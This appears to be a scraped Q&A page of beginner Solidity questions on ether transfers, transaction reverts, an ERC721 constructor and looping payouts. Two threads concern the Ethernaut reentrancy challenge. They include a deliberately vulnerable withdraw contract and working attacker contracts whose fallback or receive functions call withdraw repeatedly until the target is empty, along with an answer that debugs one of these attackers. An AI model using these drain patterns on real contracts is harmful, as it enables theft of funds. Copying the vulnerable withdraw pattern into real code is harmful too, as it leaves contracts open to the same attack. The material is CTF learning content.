I am learning solidity. The code i have written compiles correctly and the same solution is given in the solutions of the question but it keeps reverting without any output. Please check the code once and let me know the mistake.
The question is to transfer the given amount from the amount array to the to array from the same position, i.e., from ith position of amount to ith position of to.
It shows the error message : "The transaction has been reverted to the initial state.
Note: The called function should be payable if you send value and the value you send should be less than your current balance."
//SPDX-License-Identifier: UNLICENSED
pragma solidity >=0.5.0 <0.9.0;
contract Day4 {
address owner;
constructor() {
owner = msg.sender;
}
function send(address payable[] memory to, uint256[] memory amount)
public
payable
ownerOnly
{
require(to.length == amount.length, "to must be same length as amount");
for (uint256 i = 0; i < to.length; i++) {
to[i].transfer(amount[i]); //to array - 0x00 0x01 0x02
//amount array - 10 20 30
}
}
modifier ownerOnly() {
require(msg.sender == owner,"You are not the owner");
_;
}
}
Your issue depends from transfer() function. In details, this function allow you to transfer a specific amount from the smart contract balance to another address.
In your case, when you call directly send() function the smart contract balance is 0 because I think (since I don't see a deposit method) that you didn't deposit an amount to it.
For this reason, when you call send() function it reverts and doesn't works.
To solve this issue before call send() method, try to deposit a specific amount of ether to smart contract and then call send() method.
REMEMBER: The sum of array amount must be less to smart contract balance, otherwise it reverts.
I adjusted your smart contract in this way:
//SPDX-License-Identifier: UNLICENSED
pragma solidity >=0.5.0 <0.9.0;
contract Day4 {
address owner;
constructor() {
owner = msg.sender;
}
function send(address payable[] memory to, uint256[] memory amount)
public
payable
ownerOnly
{
require(to.length == amount.length, "to must be same length as amount");
for (uint256 i = 0; i < to.length; i++) {
to[i].transfer(amount[i]);
}
}
modifier ownerOnly() {
require(msg.sender == owner,"You are not the owner");
_;
}
// NOTE: Call this function for first, and before this operation set the values inside msg.value textbox in
// Remix IDE (if you're using it)
function deposit() public payable {
}
}
Related
I'm trying to solve the reentrancy attack ethernaut challenge.
Here is the solidity code for the target contract:
pragma solidity ^0.8.0;
import 'https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/math/SafeMath.sol';
contract Reentrance {
using SafeMath for uint256;
mapping(address => uint) public balances;
function donate(address _to) public payable {
balances[_to] = balances[_to].add(msg.value);
}
function balanceOf(address _who) public view returns (uint balance) {
return balances[_who];
}
function withdraw(uint _amount) public {
if(balances[msg.sender] >= _amount) {
(bool result,) = msg.sender.call{value:_amount}("");
if(result) {
_amount;
}
balances[msg.sender] -= _amount;
}
}
receive() external payable {}
}
My plan is to:
Donate to the Reentrance contract from another contract.
Call the withdraw function from inside a function in the contract I created as well as from the fallback function in my contract. The goal is to execute
(bool result,) = msg.sender.call{value:_amount}("");
enough times to empty the Reentrance contract's balance while skipping the code underneath.
Here's what my contract looks like:
contract interactor{
address public target=0xd9145CCE52D386f254917e481eB44e9943F39138;
uint32 public i = 0;
constructor() payable {}
function calldonate(address _to,uint val) public payable
{
target.call{value:val}(abi.encodeWithSignature("donate(address)", _to));
}
function callwithdraw() public
{
target.call(abi.encodeWithSignature("withdraw(uint256)", 1));
}
fallback() external payable {
i++;
require(i<target.balance);
msg.sender.call(abi.encodeWithSignature("withdraw(uint256)", 1));
}
}
After deploying the two contracts in Remix, I'm unable to empty the Reentrance contract's balance. The variable i never reaches target.balance-1.
I can't see what's wrong with my code (very new to Solidity).
Any help would be appreciated.
a few changes in your Interactor contract
1-
Instead of hardcoded target address, pass it in constructor. so deploy the Reentrance in case you need to have clean state variables
address public target;
uint32 public i = 0;
constructor(address _target) payable {
target=_target;
}
2- In calldonate function I added require for debuggin
bytes memory payload=abi.encodeWithSignature("donate(address)",_to);
(bool success,)=target.call{value:val}(payload);
// just for debugging purpose
require(success,"target.call failed");
3- call calldonate function. send 10 wei, since you are withdrawing 1 wei, otherwise Remix will crust. I think to address must be the interceptor address itself. since in Reentract contract, balances mapping is updated with the msg.value you have to enter amount in the value as in the image
successfully sent 10 wei, balance is updated
4- you have to update the fallback function. .call method did not work I think that is because of call is a safe function. (or I had some bugs). so I updated the fallback
fallback() external payable {
i++;
require(i<target.balance,"error here");
// msg.sender.call(abi.encodeWithSignature("withdraw(uint)",1));
// target.call(abi.encodeWithSignature("withdraw(uint)",1));
Reentrance(payable(target)).withdraw(1);
}
5- callwithdraw function signature should be updated. Reentrance contract passes uint but you are uint256
function callwithdraw() public
{
target.call(abi.encodeWithSignature("withdraw(uint)",1));
}
6- call callwithdraw function. Because you have this logic inside fallback
// when i=5, targetBalance would be 5
i++;
require(i<target.balance);
after you called it and check the balances you should see 5 left.
While I was doing the level 10 of Ethernaut (Re-entrancy), I got some question about address.call() function.
I notice that if I deposit a small amount of WEI, for example, 100000 WEI, I wouldn't be able to withdraw all the contract's balance. But why so? Is there a limit that the address.call() function on the Reentrance smart contract can be executed?
Another thing that I noticed is that I only needed to check if the Reentrance contract balance wasn't 0 to be able to get all its balance. It started with 3000012015300000 WEI and I was withdrawing 1000000000000000 each time. I thought that because of that I would get only 3000000000000000 and the contract would still have 12015300000 WEI. However, I got its entire balance... So, my question is: if the _amount value is greater than address(this).balance in msg.sender.call{value: _amount}(""), Solidity will send all remaining balance of the smart contract?
Here is my code of the smart contract that succeeded on this level:
interface IReentrance {
function donate(address _to) external payable;
function balanceOf(address _who) external view returns (uint balance);
function withdraw(uint _amount) external;
}
contract Reentrancy {
IReentrance public contractToAttack;
address public owner;
uint public amount;
constructor(address _contract_address) public {
contractToAttack = IReentrance(_contract_address);
owner = msg.sender;
}
function donate() public payable {
contractToAttack.donate{value: msg.value}(address(this));
amount = msg.value;
}
function withdraw() public {
require(owner == msg.sender, "Only owner");
msg.sender.transfer(address(this).balance);
}
function getBalance() external view returns(uint) {
return address(this).balance;
}
receive() external payable {
if (address(contractToAttack).balance != 0){
contractToAttack.withdraw(amount);
}
}
}
Link to Ethernaut level 10 smart contract here.
I was working on my smart contract project and when I put some values at the depolyment of the contract as inputs and I got an error of saying.
"revert
The transaction has been reverted to the initial state.
Note: The called function should be payable if you send value and the
value you send should be less than your current balance.
Debug the transaction to get more information."
And my code is
uint[] private Info;
function SetInfo(uint[] memory data) private onlyOwner{
Info = new uint[](data.length);
for(uint i = 0; i < data.length;i++){
Info[i] = data[i];
}
constructor(uint[] memory _Info,uint[] memory _SecondInfo)
ERC721(_name, _symbol) {
SetInfo(_Info);
SetSecondInfo(_SecondInfo)
}
I tried to adjust your smart contract. I put some comments that will help you to understand what I did and your errors in original smart contract.
Smart contract code:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "#openzeppelin/contracts/token/ERC721/ERC721.sol";
// Your class must inheritance ERC721 smart contract, if you want to use its functions
contract Test is ERC721 {
uint[] private Info;
// Specify variable that will contain owner address when contract will create.
address owner;
modifier onlyOwner() {
require(msg.sender == owner, "You aren't the owner!");
_;
}
// You must to give a name and symbol about your ERC721 token
constructor(uint[] memory _Info, uint[] memory _SecondInfo) ERC721("TESTToken", "TST") {
// Set owner variable with msg.sender value
owner = msg.sender;
SetInfo(_Info);
SetSecondInfo(_SecondInfo);
}
function SetInfo(uint[] memory data) private onlyOwner {
Info = new uint[](data.length);
for(uint i = 0; i < data.length;i++){
Info[i] = data[i];
}
}
function SetSecondInfo(uint[] memory data) private onlyOwner {
// your logic
}
}
How can I send tokens to a token holders from inside a smart contract with solidity?
It means how can send reward to token holders?
Have a list of addresses and loop through them while calling native erc transfer method. You can't really iterate through a mapping without knowing the access keys (if you're thinking about pulling addresses from smth like balances).
I am assuming you want to send Ether to another Smart Contract or an EOA (e.g. Metamask). You can write a Smart Contract such as the below and use the Remix Ethereum (an IDE) to send Ether to an external party. Use the public function - transferEther.
//SPDX-License-Identifier: GPL-3.0
pragma solidity >= 0.6.0 < 0.9.0;
contract Sample{
address public owner;
constructor() {
owner = msg.sender;
}
receive() external payable {
}
fallback() external payable {
}
function getBalance() public view returns (uint){
return address(this).balance;
}
// this function is for sending the wei/ether OUT from this smart contract (address) to another contract/external account.
function transferEther(address payable recipient, uint amount) public returns(bool){
require(owner == msg.sender, "transfer failed because you are not the owner."); //
if (amount <= getBalance()) {
recipient.transfer(amount);
return true;
} else {
return false;
}
}
}
I'm totally new to programming and I'm trying to code a Smart Contract that can receive funds and transfer them to other addresses through a function.
In my code I have a modifier that defines an owner that can call the withdraw/transfer function. I have defined 3 address variables, where the function transfers ETH to. Luckily it works as I want it to.
pragma solidity ^0.7.0;
contract SubscriptionPayment {
// address variable defining the owner
address public owner = msg.sender
;
// modifier that restricts access to the owner of contract
modifier onlyOwner{
require(msg.sender == owner);
_;
}
// contract is able to handle ETH
receive() external payable{
}
// function to withdraw restricted to owner
function withdraw(uint _value) external onlyOwner {
msg.sender.transfer(_value)
;
}
// define address variables
address payable public account1Address = 0xF6D461F87BBce30C9D03Ff7a8602156f006E2367 ;
address payable public account2Address = 0xb6a76127EDf7E0B7dfcEd9aDE73Fa8780eC26592 ;
address payable public account3Address = 0x722b95CA56b1C884f574BAE4832f053197Ca3F58 ;
// function to pay all subscriptions
function paySubscriptions() external onlyOwner {
account1Address.transfer(1000000000000000000);
account2Address.transfer(1000000000000000000);
account3Address.transfer(2000000000000000000);
}
My question concerns the paySubscriptions function. Is there any way to execute the transfers to these 3 addresses individually and sequentially? Of course I could just make 3 separate functions to transfer ETH to each of these addresses but that would give me 3 separate functions to call.
Is it possible to code that when one function is called, another one is called from within the contract and when this function is called, another one is called from within the contract? If so, I could code one function1 that can be called external and the other 2 functions are called from within the contract after function1 has been called/executed.
For a better understanding of your task, write how you would implement it if smart contracts could be written in Java or another language
You cold do something as follows:
Define an array of addresses and the amounts that they need transferring:
mapping (address => uint) public balances;
address payable [] public subscribers;
Then loop that mapping making payments for each such as:
function paySubscribers() public{
for (uint i=0; i<subscribers.length; i++) {
address payable currAddress = subscribers[i];
currAddress.transfer(balances[currAddress]);
}
}
I would suggest you read this article for a better understanding and more practice.
Looping in solidity
From the article:
In solidity, mapping is very useful to store token value of an
address. We have seen it in many contracts and they are normally
defined this way:
is this what you want?
function paySubscription(address receiverAddress, uint256 amount) external onlyOwner {
receiverAddress.transfer(amount);
}
function payAllSubs(address[] memory receivers, uint256[] amounts) external onlyOwner {
for (uint i=0; i<receivers.length; i++) {
address currAddress = receivers[i];
uint256 amt = amounts[i]
this.paySubscription(currAddress, amt);
}
}